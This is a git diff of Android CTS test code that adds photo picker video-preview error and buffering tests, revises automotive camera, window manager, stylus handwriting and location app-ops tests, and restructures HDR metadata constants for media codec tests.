diff --git a/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java b/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java
index b6eb8f31642..db60d7ddd8c 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java
@@ -21,12 +21,18 @@ import static android.photopicker.cts.PickerProviderMediaGenerator.setCloudProvi
import static android.photopicker.cts.PickerProviderMediaGenerator.syncCloudProvider;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.clickAndWait;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findPreviewAddButton;
+import static android.provider.CloudMediaProvider.CloudMediaSurfaceStateChangedCallback.PLAYBACK_STATE_BUFFERING;
+import static android.provider.CloudMediaProvider.CloudMediaSurfaceStateChangedCallback.PLAYBACK_STATE_ERROR_PERMANENT_FAILURE;
+import static android.provider.CloudMediaProvider.CloudMediaSurfaceStateChangedCallback.PLAYBACK_STATE_ERROR_RETRIABLE_FAILURE;
import static android.provider.CloudMediaProvider.CloudMediaSurfaceStateChangedCallback.PLAYBACK_STATE_READY;
import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.anyInt;
@@ -219,6 +225,41 @@ public class RemoteVideoPreviewTest extends PhotoPickerBaseTest {
// test the remote preview APIs
}
+ @Test
+ public void testVideoPreviewProgressIndicator() throws Exception {
+ initCloudProviderWithVideo(Arrays.asList(Pair.create(null, CLOUD_ID1)));
+ launchPreviewMultiple(/* count */ 1);
+
+ // Remote Preview displays circular progress indicator when playback state is
+ // PLAYBACK_STATE_BUFFERING.
+ verifyProgressIndicatorShowsWhenBuffering(/* surfaceId */ 0);
+ }
+
+ @Test
+ public void testVideoPreviewPermanentError() throws Exception {
+ initCloudProviderWithVideo(Arrays.asList(Pair.create(null, CLOUD_ID1)));
+ launchPreviewMultiple(/* count */ 1);
+
+ // Remote Preview displays Snackbar to notify the user of an error when playback state is
+ // PLAYBACK_STATE_ERROR_PERMANENT_FAILURE.
+ verifySnackbarShowsWhenPermanentError(/* surfaceId */ 0);
+ }
+
+ @Test
+ public void testVideoPreviewRetriableError() throws Exception {
+ initCloudProviderWithVideo(Arrays.asList(Pair.create(null, CLOUD_ID1)));
+ final int surfaceId = 0;
+ launchPreviewMultiple(/* count */ 1);
+
+ // Remote Preview displays an AlertDialog to notify the user of an error when playback state
+ // is PLAYBACK_STATE_ERROR_RETRIABLE_FAILURE.
+ verifyAlertDialogShowsWhenRetriableError(surfaceId);
+
+ // Remote Preview calls onMediaPlay when user clicks the retry button in the retriable error
+ // AlertDialog.
+ verifyAlertDialogRetry(surfaceId);
+ }
+
/**
* Verify surface controller interactions on swiping from one video to another.
* Note: This test assumes that the first video is in playing state.
@@ -269,6 +310,54 @@ public class RemoteVideoPreviewTest extends PhotoPickerBaseTest {
mAssertInOrder.verify(mSurfaceControllerListener).onMediaPlay(eq(surfaceId));
}
+ private void verifyProgressIndicatorShowsWhenBuffering(int surfaceId) throws Exception {
+ CloudProviderPrimary.setPlaybackState(surfaceId, PLAYBACK_STATE_BUFFERING);
+ // Wait for photo picker to receive the event and invoke media play via binder calls.
+ MediaStore.waitForIdle(mContext.getContentResolver());
+ assertWithMessage("Expected circular progress indicator to be visible when state is "
+ + "buffering").that(findPreviewProgressIndicator().waitForExists(SHORT_TIMEOUT))
+ .isTrue();
+ }
+
+ private void verifySnackbarShowsWhenPermanentError(int surfaceId) throws Exception {
+ CloudProviderPrimary.setPlaybackState(surfaceId, PLAYBACK_STATE_ERROR_PERMANENT_FAILURE);
+ // Wait for photo picker to receive the event and invoke media play via binder calls.
+ MediaStore.waitForIdle(mContext.getContentResolver());
+ assertWithMessage("Expected snackbar to be visible when state is permanent error")
+ .that(findPreviewErrorSnackbar().waitForExists(SHORT_TIMEOUT)).isTrue();
+ }
+
+ private void verifyAlertDialogShowsWhenRetriableError(int surfaceId) throws Exception {
+ CloudProviderPrimary.setPlaybackState(surfaceId, PLAYBACK_STATE_ERROR_RETRIABLE_FAILURE);
+ // Wait for photo picker to receive the event and invoke media play via binder calls.
+ MediaStore.waitForIdle(mContext.getContentResolver());
+
+ assertWithMessage("Expected alert dialog with title to be visible when state is retriable "
+ + "error").that(findPreviewErrorAlertDialogTitle().waitForExists(SHORT_TIMEOUT))
+ .isTrue();
+ assertWithMessage("Expected alert dialog with text body to be visible when state is "
+ + "retriable error").that(findPreviewErrorAlertDialogBody().exists()).isTrue();
+ assertWithMessage("Expected alert dialog with retry button to be visible when state is "
+ + "retriable error").that(findPreviewErrorAlertDialogRetryButton().exists())
+ .isTrue();
+ assertWithMessage("Expected alert dialog with cancel button to be visible when state is "
+ + "retriable error").that(findPreviewErrorAlertDialogCancelButton().exists())
+ .isTrue();
+ }
+
+ private void verifyAlertDialogRetry(int surfaceId) throws Exception {
+ CloudProviderPrimary.setPlaybackState(surfaceId, PLAYBACK_STATE_ERROR_RETRIABLE_FAILURE);
+ // Wait for photo picker to receive the event and invoke media play via binder calls.
+ MediaStore.waitForIdle(mContext.getContentResolver());
+
+ assertWithMessage("Expected alert dialog with retry button to be visible when state is "
+ + "retriable error")
+ .that(findPreviewErrorAlertDialogRetryButton().waitForExists(SHORT_TIMEOUT))
+ .isTrue();
+ clickAndWait(mDevice, findPreviewErrorAlertDialogRetryButton());
+ mAssertInOrder.verify(mSurfaceControllerListener).onMediaPlay(eq(surfaceId));
+ }
+
private void initCloudProviderWithImage(List<Pair<String, String>> mediaPairs)
throws Exception {
for (Pair<String, String> pair : mediaPairs) {
@@ -348,4 +437,29 @@ public class RemoteVideoPreviewTest extends PhotoPickerBaseTest {
// Wait for CloudMediaProvider binder calls to finish.
MediaStore.waitForIdle(mContext.getContentResolver());
}
+
+ private static UiObject findPreviewProgressIndicator() {
+ return new UiObject(new UiSelector().resourceIdMatches(
+ REGEX_PACKAGE_NAME + ":id/preview_progress_indicator"));
+ }
+
+ private static UiObject findPreviewErrorAlertDialogTitle() {
+ return new UiObject(new UiSelector().text("Trouble playing video"));
+ }
+
+ private static UiObject findPreviewErrorAlertDialogBody() {
+ return new UiObject(new UiSelector().text("Check your internet connection and try again"));
+ }
+
+ private static UiObject findPreviewErrorAlertDialogRetryButton() {
+ return new UiObject(new UiSelector().textMatches("R(etry|ETRY)"));
+ }
+
+ private static UiObject findPreviewErrorAlertDialogCancelButton() {
+ return new UiObject(new UiSelector().textMatches("C(ancel|ANCEL)"));
+ }
+
+ private static UiObject findPreviewErrorSnackbar() {
+ return new UiObject(new UiSelector().text("Can't play video"));
+ }
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
index f6b7830cf69..21bdc839bf1 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
@@ -27,7 +27,6 @@ import android.content.pm.PackageManager;
import android.hardware.camera2.CameraAccessException;
import android.hardware.camera2.CameraCharacteristics;
import android.hardware.camera2.CameraDevice;
-import android.hardware.camera2.CameraDevice.StateCallback;
import android.hardware.camera2.CameraManager;
import android.hardware.camera2.cts.Camera2ParameterizedTestCase;
import android.hardware.camera2.cts.CameraTestUtils.HandlerExecutor;
@@ -163,6 +162,15 @@ public class CameraManagerTest extends Camera2ParameterizedTestCase {
ids.length == 0 ||
mPackageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_ANY));
+ if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+ // Camera placement on automotive device is different than usual front/back
+ // on mobile phones and use automotive.lens.facing instead. lens.facing is only used for
+ // external camera.testCameraManagerAutomotiveCameras ensures that lens.facing is only
+ // used for EXTERNAL camera. Hence, skipping this test for automotive implementations
+ Log.i(TAG, "Skip rest of the test on automotive device implementations");
+ return;
+ }
+
/**
* Test: that if the device has front or rear facing cameras, then there
* must be matched system features.
@@ -989,15 +997,23 @@ public class CameraManagerTest extends Camera2ParameterizedTestCase {
* android.automotive.lens.facing values
*/
Map<Pair<Integer, Integer>, ArrayList<String>> cameraGroup = new HashMap<>();
+ boolean externalCameraConnected = false;
for (String cameraId : cameraIds) {
CameraCharacteristics props = mCameraManager.getCameraCharacteristics(cameraId);
assertNotNull(
String.format("Can't get camera characteristics from: ID %s", cameraId), props);
Integer lensFacing = props.get(CameraCharacteristics.LENS_FACING);
- if (lensFacing != null && lensFacing == CameraCharacteristics.LENS_FACING_EXTERNAL) {
- // Automotive device implementations may have external cameras but they are exempted
- // from this test case.
+
+ if (lensFacing != null) {
+ // Automotive device implementations can use android.lens.facing
+ // only for external cameras
+ assertTrue("android.lens.facing should only be used for external cameras",
+ lensFacing == CameraCharacteristics.LENS_FACING_EXTERNAL);
+ // Test that there is matching feature flag
+ assertTrue("System doesn't have external camera feature",
+ mPackageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_EXTERNAL));
+ externalCameraConnected = true;
continue;
}
@@ -1028,6 +1044,13 @@ public class CameraManagerTest extends Camera2ParameterizedTestCase {
}
}
+ // Test an external camera is connected if FEATURE_CAMERA_EXTERNAL is advertised
+ if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_EXTERNAL)) {
+ assertTrue("External camera is not connected on device with FEATURE_CAMERA_EXTERNAL",
+ externalCameraConnected);
+ }
+
+
for (Map.Entry<Pair<Integer, Integer>, ArrayList<String>> entry : cameraGroup.entrySet()) {
ArrayList<String> cameraIdsToVerify = entry.getValue();
if (cameraIdsToVerify.size() > 1) {
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index 94c1f1a044a..bd26452edfe 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -760,7 +760,7 @@ public class BackgroundActivityLaunchTest extends ActivityManagerTestBase {
if (objectText == null) {
continue;
}
- if (objectText.equalsIgnoreCase("CREATE")) {
+ if (objectText.equalsIgnoreCase("CREATE") || objectText.equalsIgnoreCase("ALLOW")) {
object.click();
buttonClicked = true;
break;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
index ad931ec66b7..1c21598a740 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
@@ -207,10 +207,8 @@ public class MultiDisplayActivityLaunchTests extends MultiDisplayTestBase {
*/
@Test
public void testLaunchExternalDisplayActivityWhilePrimaryOff() {
- if (isOperatorTierDevice()) {
- // This test is not applicable for the device who uses launch_after_boot configuration
- return;
- }
+ // Leanback devices may launch a live broadcast app during screen off-on cycles.
+ final boolean mayLaunchActivityOnScreenOff = isLeanBack();
// Launch something on the primary display so we know there is a resumed activity there
launchActivity(RESIZEABLE_ACTIVITY);
@@ -223,10 +221,12 @@ public class MultiDisplayActivityLaunchTests extends MultiDisplayTestBase {
displayStateSession.turnScreenOff();
// Make sure there is no resumed activity when the primary display is off
- waitAndAssertActivityState(RESIZEABLE_ACTIVITY, STATE_STOPPED,
- "Activity launched on primary display must be stopped after turning off");
- assertEquals("Unexpected resumed activity",
- 0, mWmState.getResumedActivitiesCount());
+ if (!mayLaunchActivityOnScreenOff) {
+ waitAndAssertActivityState(RESIZEABLE_ACTIVITY, STATE_STOPPED,
+ "Activity launched on primary display must be stopped after turning off");
+ assertEquals("Unexpected resumed activity",
+ 0, mWmState.getResumedActivitiesCount());
+ }
final DisplayContent newDisplay = externalDisplaySession
.setCanShowWithInsecureKeyguard(true).createVirtualDisplay();
@@ -236,8 +236,10 @@ public class MultiDisplayActivityLaunchTests extends MultiDisplayTestBase {
// Check that the test activity is resumed on the external display
waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
"Activity launched on external display must be resumed");
- mWmState.assertFocusedAppOnDisplay("App on default display must still be focused",
- RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY);
+ if (!mayLaunchActivityOnScreenOff) {
+ mWmState.assertFocusedAppOnDisplay("App on default display must still be focused",
+ RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY);
+ }
}
/**
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 3ffda885a4f..03988ea28af 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -1106,10 +1106,6 @@ public abstract class ActivityManagerTestBase {
return sIsTablet;
}
- protected boolean isOperatorTierDevice() {
- return hasDeviceFeature("com.google.android.tv.operator_tier");
- }
-
protected void waitAndAssertActivityState(ComponentName activityName,
String state, String message) {
mWmState.waitForActivityState(activityName, state);
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java
index 8cc0b8efb54..c098ad0ecf5 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java
@@ -54,6 +54,7 @@ import androidx.test.filters.FlakyTest;
import androidx.test.platform.app.InstrumentationRegistry;
import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+import com.android.compatibility.common.util.ApiTest;
import com.android.cts.mockime.ImeEventStream;
import com.android.cts.mockime.ImeSettings;
import com.android.cts.mockime.MockImeSession;
@@ -147,6 +148,10 @@ public class StylusHandwritingTest extends EndToEndImeTestBase {
}
@Test
+ @ApiTest(apis = {"android.view.inputmethod.InputMethodManager#startStylusHandwriting",
+ "android.inputmethodservice.InputMethodService#onPrepareStylusHandwriting",
+ "android.inputmethodservice.InputMethodService#onStartStylusHandwriting",
+ "android.inputmethodservice.InputMethodService#onFinishStylusHandwriting"})
public void testHandwritingStartAndFinish() throws Exception {
final InputMethodManager imm = mContext.getSystemService(InputMethodManager.class);
try (MockImeSession imeSession = MockImeSession.create(
@@ -157,13 +162,13 @@ public class StylusHandwritingTest extends EndToEndImeTestBase {
final String marker = getTestMarker();
final EditText editText = launchTestActivity(marker);
+ expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
// Touch down with a stylus
final int x = 10;
final int y = 10;
TestUtils.injectStylusDownEvent(editText, x, y);
- expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
notExpectEvent(
stream,
editorMatcher("onStartInputView", marker),
@@ -209,6 +214,9 @@ public class StylusHandwritingTest extends EndToEndImeTestBase {
* @throws Exception
*/
@Test
+ @ApiTest(apis = {"android.view.inputmethod.InputMethodManager#startStylusHandwriting",
+ "android.inputmethodservice.InputMethodService#onStylusMotionEvent",
+ "android.inputmethodservice.InputMethodService#onStartStylusHandwriting"})
public void testHandwritingStylusEvents_onStylusHandwritingMotionEvent() throws Exception {
testHandwritingStylusEvents(false /* verifyOnInkView */);
}
@@ -219,6 +227,9 @@ public class StylusHandwritingTest extends EndToEndImeTestBase {
* @throws Exception
*/
@Test
+ @ApiTest(apis = {"android.view.inputmethod.InputMethodManager#startStylusHandwriting",
+ "android.inputmethodservice.InputMethodService#onStylusMotionEvent",
+ "android.inputmethodservice.InputMethodService#onStartStylusHandwriting"})
public void testHandwritingStylusEvents_dispatchToInkView() throws Exception {
testHandwritingStylusEvents(false /* verifyOnInkView */);
}
@@ -234,6 +245,7 @@ public class StylusHandwritingTest extends EndToEndImeTestBase {
final String marker = getTestMarker();
final EditText editText = launchTestActivity(marker);
+ expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
final List<MotionEvent> injectedEvents = new ArrayList<>();
// Touch down with a stylus
@@ -241,7 +253,6 @@ public class StylusHandwritingTest extends EndToEndImeTestBase {
final int startY = 10;
injectedEvents.add(TestUtils.injectStylusDownEvent(editText, startX, startY));
- expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
notExpectEvent(
stream,
editorMatcher("onStartInputView", marker),
diff --git a/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java b/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java
index a70065cce07..c40605282da 100644
--- a/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java
+++ b/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java
@@ -34,6 +34,8 @@ import android.os.UserHandle;
import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.ApiTest;
+
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
@@ -54,6 +56,11 @@ public class LocationDisabledAppOpsTest {
}
@Test
+ @ApiTest(apis = {
+ "android.location.LocationManager#setLocationEnabledForUser",
+ "android.app.AppOpsManager#noteOpNoThrow",
+ "android.app.AppOpsManager#checkOpNoThrow",
+ })
public void testLocationAppOpIsIgnoredForAppsWhenLocationIsDisabled() {
PackageTagsList ignoreList = mLm.getIgnoreSettingsAllowlist();
@@ -85,7 +92,8 @@ public class LocationDisabledAppOpsTest {
mode[0] = mAom.noteOpNoThrow(
OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
});
- if (mode[0] == MODE_ALLOWED && !ignoreList.containsAll(pi.packageName)) {
+ if (mode[0] == MODE_ALLOWED && !ignoreList.containsAll(pi.packageName)
+ && !mLm.isProviderPackage(null, pi.packageName, null)) {
bypassedNoteOps.add(pi.packageName);
}
@@ -95,7 +103,8 @@ public class LocationDisabledAppOpsTest {
mode[0] = mAom
.checkOpNoThrow(OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
});
- if (mode[0] == MODE_ALLOWED && !ignoreList.includes(pi.packageName)) {
+ if (mode[0] == MODE_ALLOWED && !ignoreList.includes(pi.packageName)
+ && !mLm.isProviderPackage(null, pi.packageName, null)) {
bypassedCheckOps.add(pi.packageName);
}
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
index f03fa90bb0d..efa8441b2ab 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
@@ -135,9 +135,9 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase {
{MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_360x640_768kbps_30fps_avc.mp4",
"bbb_520x390_1mbps_30fps_avc.mp4", CODEC_ALL},
{MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_160x1024_1500kbps_30fps_avc.mp4",
- "bbb_520x390_1mbps_30fps_avc.mp4", CODEC_ALL},
+ "bbb_520x390_1mbps_30fps_avc.mp4", CODEC_OPTIONAL},
{MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1280x120_1500kbps_30fps_avc.mp4",
- "bbb_340x280_768kbps_30fps_avc.mp4", CODEC_ALL},
+ "bbb_340x280_768kbps_30fps_avc.mp4", CODEC_OPTIONAL},
{MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_520x390_1mbps_30fps_hevc.mp4",
"bbb_340x280_768kbps_30fps_hevc.mp4", CODEC_ALL},
{MediaFormat.MIMETYPE_VIDEO_MPEG4, "bbb_128x96_64kbps_12fps_mpeg4.mp4",
diff --git a/tests/media/src/android/mediav2/cts/CodecInfoTest.java b/tests/media/src/android/mediav2/cts/CodecInfoTest.java
index c3a1b0901a3..e38094cb25b 100644
--- a/tests/media/src/android/mediav2/cts/CodecInfoTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecInfoTest.java
@@ -171,7 +171,8 @@ public class CodecInfoTest {
// For devices launching with Android T, if a codec supports an HDR profile and device
// supports HDR display, it must advertise P010 support
int[] HdrProfileArray = mProfileHdrMap.get(mMediaType);
- if (VNDK_IS_AT_LEAST_T && HdrProfileArray != null && DISPLAY_HDR_TYPES.length > 0) {
+ if (FIRST_SDK_IS_AT_LEAST_T && VNDK_IS_AT_LEAST_T
+ && HdrProfileArray != null && DISPLAY_HDR_TYPES.length > 0) {
for (CodecProfileLevel pl : caps.profileLevels) {
if (IntStream.of(HdrProfileArray).anyMatch(x -> x == pl.profile)) {
assertFalse(mCodecInfo.getName() + " supports HDR profile " + pl.profile + "," +
diff --git a/tests/media/src/android/mediav2/cts/CodecTestBase.java b/tests/media/src/android/mediav2/cts/CodecTestBase.java
index 6065c5c8be7..9d1d839c47d 100644
--- a/tests/media/src/android/mediav2/cts/CodecTestBase.java
+++ b/tests/media/src/android/mediav2/cts/CodecTestBase.java
@@ -30,7 +30,9 @@ import android.media.MediaCodecInfo.CodecProfileLevel;
import android.media.MediaCodecList;
import android.media.MediaExtractor;
import android.media.MediaFormat;
+import android.media.MediaMuxer;
import android.os.Build;
+import android.os.Bundle;
import android.os.PersistableBundle;
import android.os.SystemProperties;
import android.util.Log;
@@ -590,17 +592,12 @@ class OutputManager {
abstract class CodecTestBase {
public static final boolean IS_Q = ApiLevelUtil.getApiLevel() == Build.VERSION_CODES.Q;
public static final boolean IS_AT_LEAST_R = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
- // Checking for CODENAME helps in cases when build version on the development branch isn't
- // updated yet but CODENAME is updated.
public static final boolean IS_AT_LEAST_T =
- ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU) ||
- ApiLevelUtil.codenameEquals("Tiramisu");
- // TODO (b/223868241) Update the following to check for Build.VERSION_CODES.TIRAMISU once
- // TIRAMISU is set correctly
+ ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU);
public static final boolean FIRST_SDK_IS_AT_LEAST_T =
- ApiLevelUtil.isFirstApiAfter(Build.VERSION_CODES.S_V2);
+ ApiLevelUtil.isFirstApiAtLeast(Build.VERSION_CODES.TIRAMISU);
public static final boolean VNDK_IS_AT_LEAST_T =
- SystemProperties.getInt("ro.vndk.version", 0) > Build.VERSION_CODES.S_V2;
+ SystemProperties.getInt("ro.vndk.version", 0) >= Build.VERSION_CODES.TIRAMISU;
public static final boolean IS_HDR_EDITING_SUPPORTED = isHDREditingSupported();
private static final String LOG_TAG = CodecTestBase.class.getSimpleName();
enum SupportClass {
@@ -609,30 +606,14 @@ abstract class CodecTestBase {
CODEC_DEFAULT, // Default codec must support
CODEC_OPTIONAL // Codec support is optional
}
+
+ static final ArrayList<String> HDR_INFO_IN_BITSTREAM_CODECS = new ArrayList<>();
static final String HDR_STATIC_INFO =
- "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 e8 03 64 00 e8 03 2c 01";
- static final String[] HDR_DYNAMIC_INFO = new String[]{
- "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
- "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
- "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
- "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00",
-
- "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
- "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
- "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
- "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00",
-
- "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
- "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
- "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
- "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00",
-
- "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
- "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
- "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
- "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00",
- };
- boolean mTestDynamicMetadata = false;
+ "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 a0 0f 32 00 10 27 df 0d";
+ static final String HDR_STATIC_INCORRECT_INFO =
+ "00 d0 84 80 3e c2 33 c4 86 10 27 d0 07 13 3d 42 40 a0 0f 32 00 10 27 df 0d";
+ static final HashMap<Integer, String> HDR_DYNAMIC_INFO = new HashMap<>();
+ static final HashMap<Integer, String> HDR_DYNAMIC_INCORRECT_INFO = new HashMap<>();
static final String CODEC_PREFIX_KEY = "codec-prefix";
static final String MEDIA_TYPE_PREFIX_KEY = "media-type-prefix";
static final String MIME_SEL_KEY = "mime-sel";
@@ -788,6 +769,45 @@ abstract class CodecTestBase {
mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_PROFILES);
mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_PROFILES);
mProfileMap.put(MediaFormat.MIMETYPE_AUDIO_AAC, AAC_PROFILES);
+
+ HDR_INFO_IN_BITSTREAM_CODECS.add(MediaFormat.MIMETYPE_VIDEO_AV1);
+ HDR_INFO_IN_BITSTREAM_CODECS.add(MediaFormat.MIMETYPE_VIDEO_AVC);
+ HDR_INFO_IN_BITSTREAM_CODECS.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
+
+ HDR_DYNAMIC_INFO.put(0, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
+ "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
+ "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
+ "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00");
+ HDR_DYNAMIC_INFO.put(4, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
+ "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
+ "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
+ "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00");
+ HDR_DYNAMIC_INFO.put(12, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
+ "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
+ "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
+ "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00");
+ HDR_DYNAMIC_INFO.put(22, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
+ "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
+ "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
+ "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00");
+
+
+ HDR_DYNAMIC_INCORRECT_INFO.put(0, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
+ "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
+ "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
+ "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00");
+ HDR_DYNAMIC_INCORRECT_INFO.put(4, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
+ "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
+ "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
+ "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 01");
+ HDR_DYNAMIC_INCORRECT_INFO.put(12, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
+ "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
+ "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
+ "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 02");
+ HDR_DYNAMIC_INCORRECT_INFO.put(22, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
+ "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
+ "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
+ "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 03");
}
static int[] combine(int[] first, int[] second) {
@@ -1366,6 +1386,12 @@ abstract class CodecTestBase {
return Arrays.copyOfRange(tempArray, 0, i);
}
+ void insertHdrDynamicInfo(byte[] info) {
+ final Bundle params = new Bundle();
+ params.putByteArray(MediaFormat.KEY_HDR10_PLUS_INFO, info);
+ mCodec.setParameters(params);
+ }
+
boolean isFormatSimilar(MediaFormat inpFormat, MediaFormat outFormat) {
if (inpFormat == null || outFormat == null) return false;
